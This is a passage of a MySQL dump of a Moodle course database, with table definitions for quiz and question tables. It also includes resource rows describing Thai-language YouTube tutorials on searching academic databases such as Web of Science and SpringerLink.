/*!40000 ALTER TABLE `mdl_question_datasets` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_datasets` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_match`
--

DROP TABLE IF EXISTS `mdl_question_match`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_match` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `subquestions` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `shuffleanswers` tinyint(4) NOT NULL DEFAULT '1',
  PRIMARY KEY (`id`),
  KEY `question` (`question`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Defines fixed matching questions';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_match`
--

LOCK TABLES `mdl_question_match` WRITE;
/*!40000 ALTER TABLE `mdl_question_match` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_match` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_match_sub`
--

DROP TABLE IF EXISTS `mdl_question_match_sub`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_match_sub` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `code` int(10) unsigned NOT NULL DEFAULT '0',
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `questiontext` text COLLATE utf8_unicode_ci NOT NULL,
  `answertext` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `question` (`question`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Defines the subquestions that make up a matching question';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_match_sub`
--

LOCK TABLES `mdl_question_match_sub` WRITE;
/*!40000 ALTER TABLE `mdl_question_match_sub` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_match_sub` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_multianswer`
--

DROP TABLE IF EXISTS `mdl_question_multianswer`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_multianswer` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `sequence` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`),
  KEY `question` (`question`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Options for multianswer questions';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_multianswer`
--

LOCK TABLES `mdl_question_multianswer` WRITE;
/*!40000 ALTER TABLE `mdl_question_multianswer` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_multianswer` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_multichoice`
--

DROP TABLE IF EXISTS `mdl_question_multichoice`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_multichoice` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `layout` tinyint(4) NOT NULL DEFAULT '0',
  `answers` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `single` tinyint(4) NOT NULL DEFAULT '0',
  `shuffleanswers` tinyint(4) NOT NULL DEFAULT '1',
  PRIMARY KEY (`id`),
  KEY `question` (`question`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Options for multiple choice questions';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_multichoice`
--

LOCK TABLES `mdl_question_multichoice` WRITE;
/*!40000 ALTER TABLE `mdl_question_multichoice` DISABLE KEYS */;
INSERT INTO `mdl_question_multichoice` VALUES (1,1,0,'1,2,3,4',1,0),(2,2,0,'5,6,7,8',1,0),(3,3,0,'9,10,11,12',1,0),(4,4,0,'13,14,15,16',1,0),(5,5,0,'17,18,19,20',1,0),(6,6,0,'21,22,23,24',1,0);
/*!40000 ALTER TABLE `mdl_question_multichoice` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_numerical`
--

DROP TABLE IF EXISTS `mdl_question_numerical`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_numerical` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `answer` int(10) unsigned NOT NULL DEFAULT '0',
  `tolerance` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '0.0',
  PRIMARY KEY (`id`),
  KEY `answer` (`answer`),
  KEY `question` (`question`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Options for numerical questions';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_numerical`
--

LOCK TABLES `mdl_question_numerical` WRITE;
/*!40000 ALTER TABLE `mdl_question_numerical` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_numerical` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_numerical_units`
--

DROP TABLE IF EXISTS `mdl_question_numerical_units`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_numerical_units` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `multiplier` decimal(40,20) NOT NULL DEFAULT '1.00000000000000000000',
  `unit` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `question` (`question`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Optional unit options for numerical questions';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_numerical_units`
--

LOCK TABLES `mdl_question_numerical_units` WRITE;
/*!40000 ALTER TABLE `mdl_question_numerical_units` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_numerical_units` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_randomsamatch`
--

DROP TABLE IF EXISTS `mdl_question_randomsamatch`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_randomsamatch` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `choose` int(10) unsigned NOT NULL DEFAULT '4',
  PRIMARY KEY (`id`),
  KEY `question` (`question`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Info about a random short-answer matching question';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_randomsamatch`
--

LOCK TABLES `mdl_question_randomsamatch` WRITE;
/*!40000 ALTER TABLE `mdl_question_randomsamatch` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_randomsamatch` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_rqp`
--

DROP TABLE IF EXISTS `mdl_question_rqp`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_rqp` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `type` int(10) unsigned NOT NULL DEFAULT '0',
  `source` longblob NOT NULL,
  `format` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `flags` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `maxscore` int(10) unsigned NOT NULL DEFAULT '1',
  PRIMARY KEY (`id`),
  KEY `question` (`question`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Options for RQP questions';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_rqp`
--

LOCK TABLES `mdl_question_rqp` WRITE;
/*!40000 ALTER TABLE `mdl_question_rqp` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_rqp` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_rqp_servers`
--

DROP TABLE IF EXISTS `mdl_question_rqp_servers`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_rqp_servers` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `typeid` int(10) unsigned NOT NULL DEFAULT '0',
  `url` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `can_render` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `can_author` tinyint(2) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Information about RQP servers';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_rqp_servers`
--

LOCK TABLES `mdl_question_rqp_servers` WRITE;
/*!40000 ALTER TABLE `mdl_question_rqp_servers` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_rqp_servers` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_rqp_states`
--

DROP TABLE IF EXISTS `mdl_question_rqp_states`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_rqp_states` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `stateid` int(10) unsigned NOT NULL DEFAULT '0',
  `responses` text COLLATE utf8_unicode_ci NOT NULL,
  `persistent_data` text COLLATE utf8_unicode_ci NOT NULL,
  `template_vars` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='RQP question type specific state information';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_rqp_states`
--

LOCK TABLES `mdl_question_rqp_states` WRITE;
/*!40000 ALTER TABLE `mdl_question_rqp_states` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_rqp_states` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_rqp_types`
--

DROP TABLE IF EXISTS `mdl_question_rqp_types`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_rqp_types` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  UNIQUE KEY `name` (`name`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='RQP question types';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_rqp_types`
--

LOCK TABLES `mdl_question_rqp_types` WRITE;
/*!40000 ALTER TABLE `mdl_question_rqp_types` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_rqp_types` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_sessions`
--

DROP TABLE IF EXISTS `mdl_question_sessions`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_sessions` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `attemptid` int(10) unsigned NOT NULL DEFAULT '0',
  `questionid` int(10) unsigned NOT NULL DEFAULT '0',
  `newest` int(10) unsigned NOT NULL DEFAULT '0',
  `newgraded` int(10) unsigned NOT NULL DEFAULT '0',
  `sumpenalty` float NOT NULL DEFAULT '0',
  `comment` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `attemptid` (`attemptid`,`questionid`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Gives ids of the newest open and newest graded states';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_sessions`
--

LOCK TABLES `mdl_question_sessions` WRITE;
/*!40000 ALTER TABLE `mdl_question_sessions` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_sessions` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_shortanswer`
--

DROP TABLE IF EXISTS `mdl_question_shortanswer`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_shortanswer` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `answers` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `usecase` tinyint(2) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `question` (`question`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Options for short answer questions';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_shortanswer`
--

LOCK TABLES `mdl_question_shortanswer` WRITE;
/*!40000 ALTER TABLE `mdl_question_shortanswer` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_shortanswer` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_states`
--

DROP TABLE IF EXISTS `mdl_question_states`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_states` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `attempt` int(10) unsigned NOT NULL DEFAULT '0',
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `originalquestion` int(10) unsigned NOT NULL DEFAULT '0',
  `seq_number` int(6) unsigned NOT NULL DEFAULT '0',
  `answer` text COLLATE utf8_unicode_ci NOT NULL,
  `timestamp` int(10) unsigned NOT NULL DEFAULT '0',
  `event` int(4) unsigned NOT NULL DEFAULT '0',
  `grade` float NOT NULL DEFAULT '0',
  `raw_grade` float NOT NULL DEFAULT '0',
  `penalty` float NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `attempt` (`attempt`),
  KEY `question` (`question`)
) ENGINE=MyISAM AUTO_INCREMENT=19 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Stores user responses to a quiz, and percentage grades';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_states`
--

LOCK TABLES `mdl_question_states` WRITE;
/*!40000 ALTER TABLE `mdl_question_states` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_states` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_truefalse`
--

DROP TABLE IF EXISTS `mdl_question_truefalse`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_truefalse` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `trueanswer` int(10) unsigned NOT NULL DEFAULT '0',
  `falseanswer` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `question` (`question`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Options for True-False questions';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_truefalse`
--

LOCK TABLES `mdl_question_truefalse` WRITE;
/*!40000 ALTER TABLE `mdl_question_truefalse` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_truefalse` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_quiz`
--

DROP TABLE IF EXISTS `mdl_quiz`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_quiz` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `intro` text COLLATE utf8_unicode_ci NOT NULL,
  `timeopen` int(10) unsigned NOT NULL DEFAULT '0',
  `timeclose` int(10) unsigned NOT NULL DEFAULT '0',
  `optionflags` int(10) unsigned NOT NULL DEFAULT '0',
  `penaltyscheme` int(4) unsigned NOT NULL DEFAULT '0',
  `attempts` smallint(6) NOT NULL DEFAULT '0',
  `attemptonlast` tinyint(4) NOT NULL DEFAULT '0',
  `grademethod` tinyint(4) NOT NULL DEFAULT '1',
  `decimalpoints` int(4) NOT NULL DEFAULT '2',
  `review` int(10) unsigned NOT NULL DEFAULT '0',
  `questionsperpage` int(10) NOT NULL DEFAULT '0',
  `shufflequestions` tinyint(4) NOT NULL DEFAULT '0',
  `shuffleanswers` tinyint(4) NOT NULL DEFAULT '0',
  `questions` text COLLATE utf8_unicode_ci NOT NULL,
  `sumgrades` int(10) NOT NULL DEFAULT '0',
  `grade` int(10) NOT NULL DEFAULT '0',
  `timecreated` int(10) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  `timelimit` int(2) unsigned NOT NULL DEFAULT '0',
  `password` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `subnet` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `popup` tinyint(4) NOT NULL DEFAULT '0',
  `delay1` int(10) NOT NULL DEFAULT '0',
  `delay2` int(10) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `course` (`course`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Main information about each quiz';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_quiz`
--

LOCK TABLES `mdl_quiz` WRITE;
/*!40000 ALTER TABLE `mdl_quiz` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_quiz` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_quiz_attempts`
--

DROP TABLE IF EXISTS `mdl_quiz_attempts`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_quiz_attempts` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `uniqueid` int(10) unsigned NOT NULL DEFAULT '0',
  `quiz` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `attempt` smallint(6) NOT NULL DEFAULT '0',
  `sumgrades` float NOT NULL DEFAULT '0',
  `timestart` int(10) unsigned NOT NULL DEFAULT '0',
  `timefinish` int(10) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  `layout` text COLLATE utf8_unicode_ci NOT NULL,
  `preview` tinyint(3) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `uniqueid` (`uniqueid`),
  KEY `quiz` (`quiz`),
  KEY `userid` (`userid`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Stores various attempts on a quiz';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_quiz_attempts`
--

LOCK TABLES `mdl_quiz_attempts` WRITE;
/*!40000 ALTER TABLE `mdl_quiz_attempts` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_quiz_attempts` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_quiz_grades`
--

DROP TABLE IF EXISTS `mdl_quiz_grades`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_quiz_grades` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `quiz` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `grade` double NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `quiz` (`quiz`),
  KEY `userid` (`userid`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Final quiz grade (may be best of several attempts)';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_quiz_grades`
--

LOCK TABLES `mdl_quiz_grades` WRITE;
/*!40000 ALTER TABLE `mdl_quiz_grades` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_quiz_grades` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_quiz_question_instances`
--

DROP TABLE IF EXISTS `mdl_quiz_question_instances`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_quiz_question_instances` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `quiz` int(10) unsigned NOT NULL DEFAULT '0',
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `grade` smallint(6) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `quiz` (`quiz`),
  KEY `question` (`question`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='The grade for a question in a quiz';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_quiz_question_instances`
--

LOCK TABLES `mdl_quiz_question_instances` WRITE;
/*!40000 ALTER TABLE `mdl_quiz_question_instances` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_quiz_question_instances` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_quiz_question_versions`
--

DROP TABLE IF EXISTS `mdl_quiz_question_versions`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_quiz_question_versions` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `quiz` int(10) unsigned NOT NULL DEFAULT '0',
  `oldquestion` int(10) unsigned NOT NULL DEFAULT '0',
  `newquestion` int(10) unsigned NOT NULL DEFAULT '0',
  `originalquestion` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `timestamp` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='The mapping between old and new versions of a question';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_quiz_question_versions`
--

LOCK TABLES `mdl_quiz_question_versions` WRITE;
/*!40000 ALTER TABLE `mdl_quiz_question_versions` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_quiz_question_versions` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_resource`
--

DROP TABLE IF EXISTS `mdl_resource`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_resource` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `type` varchar(30) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `reference` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `summary` text COLLATE utf8_unicode_ci NOT NULL,
  `alltext` text COLLATE utf8_unicode_ci NOT NULL,
  `popup` text COLLATE utf8_unicode_ci NOT NULL,
  `options` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `course` (`course`)
) ENGINE=MyISAM AUTO_INCREMENT=11 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_resource`
--

LOCK TABLES `mdl_resource` WRITE;
/*!40000 ALTER TABLE `mdl_resource` DISABLE KEYS */;
INSERT INTO `mdl_resource` VALUES (4,2,'วิดีโอแนะนำเทคนิคการสืบค้นสารสนเทศ','file','https://www.youtube.com/watch?v=TWTvI8Ty5Nc','รวมเทคนิคต่างๆในการสืบค้นสารสนเทศ','','resizable=1,scrollbars=1,directories=1,location=1,menubar=1,toolbar=1,status=1,height=450,width=620','',1473143948),(5,2,'วิดีโอแนะนำการสืบค้นฐานข้อมูล ABI INFORM Complete','file','https://www.youtube.com/watch?v=6IjEQGZ4BOU','ABI INFORM Complete เป็นฐานข้อมูลที่รวบรวมข้อมูลทาง ด้านธุรกิจ การโฆษณา การตลาด เศรษฐศาสตร์ การจัดการทรัพยากรมนุษย์ การเงิน ภาษี คอมพิวเตอร์ มากกว่า 1,100 รายชื่อ รวมถึงสารสนเทศของบริษัทต่าง ๆ อีกมากกว่า 60,000 บริษัท และสามารถสืบค้นบทความฉบับเต็มได้จากวารสารทั่วโลกกว่า 800 รายชื่อ','','resizable=1,scrollbars=1,directories=1,location=1,menubar=1,toolbar=1,status=1,height=450,width=620','',1473144036),(3,2,'วิดีโอแนะนำการสืบค้นฐานข้อมุล Web of Science','file','https://www.youtube.com/watch?v=Qsg46Ko-KNU','ฐานข้อมุล Web of Science เป็นฐานข้อมูลบรรณานุกรมและสาระสังเขปพร้อมการอ้างอิงและอ้างถึง ที่ครอบคลุมสาขาวิชาหลักทั้งวิทยาศาสตร์ สังคมศาสตร์ และมนุษยศาสตร์ จากวารสารประมาณ 9,200 รายชื่อ ให้ข้อมูลตั้งแต่ปี 2001 - ปัจจุบัน','','resizable=1,scrollbars=1,directories=1,location=1,menubar=1,toolbar=1,status=1,height=450,width=620','',1473143844),(6,2,'วิดีโอแนะนำการสืบค้นฐานข้อมูล SpringerLink','file','https://www.youtube.com/watch?v=5Ke_vAKC9q0','SpringerLink เป็นฐานข้อมูลวารสารอิเล็กทรอนิกส์ วิทยาศาสตร์และวิทยาศาสตร์สุขภาพ ครอบคลุมวารสาร จำนวนเอกสารฉบับเต็ม 1,130 ชื่อ ในข้อมูลปี 1997 - ปัจจุบัน','','resizable=1,scrollbars=1,directories=1,location=1,menubar=1,toolbar=1,status=1,height=450,width=620','',1473144161),(7,2,'วิดีโอแนะนำการสืบค้นฐานข้อมูล ProQuest Dissertaions & Theses','file','https://www.youtube.com/watch?v=dbVVekSZSw4','ProQuest Dissertaions & Theses เป็นฐานข้อมูลที่รวบรวมวิทยานิพนธ์ระดับปริญญาโท และปริญญาเอกของสถาบันการศึกษาที่ได้รับการรับรองจากประเทศสหรัฐอเมริกาและแคนาดา รวมถึงบางสถาบันการศึกษาจากทวีปยุโรป ออสเตรเลีย เอเชีย และแอฟริกา มากกว่า 1,000 แห่ง ประกอบไปด้วยข้อมูลมากกว่า 2.4 ล้านระเบียน','','resizable=1,scrollbars=1,directories=1,location=1,menubar=1,toolbar=1,status=1,height=450,width=620','',1473144243),(8,2,'วิดีโอแนะนำการสืบค้นฐานข้อมูล ACS Journals','file','https://www.youtube.com/watch?v=WbRuhygX7fs','ACS Journals (American Chemical Society Journal) เป็นฐานข้อมูลที่รวบรวมบทความ และงานวิจัย จากวารสารทางด้านเคมีและวิทยาศาสตร์ที่เกี่ยวข้องโดยรวบรวมจากวารสารทั้งที่พิมพ์เป็นรูปเล่ม วารสารอิเล็กทรอนิกส์ (Electronic Journals) ข้อมูลที่ได้จากการสืบค้นเป็นข้อมูลฉบับเม (Full Text) และรูปภาพ (Image) ย้อนหลังตั้งแต่ปี 1996','','resizable=1,scrollbars=1,directories=1,location=1,menubar=1,toolbar=1,status=1,height=450,width=620','',1473144364),(9,2,'วิดีโอแนะนำการสืบค้นฐานข้อมูล ACM Digital Library','file','https://www.youtube.com/watch?v=FqwmJ_xW050','ACM Digital Library เป็นฐานข้อมูลทางด้านคอมพิวเตอร์และเทคโนโลยีสารสนเทศ จากสิ่งพิมพ์ต่อเนื่อง จดหมายข่าว และเอกสารในการประชุมวิชาการ ที่จัดทำโดย ACM (Association for Computing Machinery) ซึ่งเนื้อหาเอกสารประกอบด้วยข้อมูลที่สำคัญ เช่น รายการบรรณานุกรม สาระสังเขป artcile reviews และบทความฉบับเต็ม ให้ข้อมูลตั้งแต่ปี 1985 - 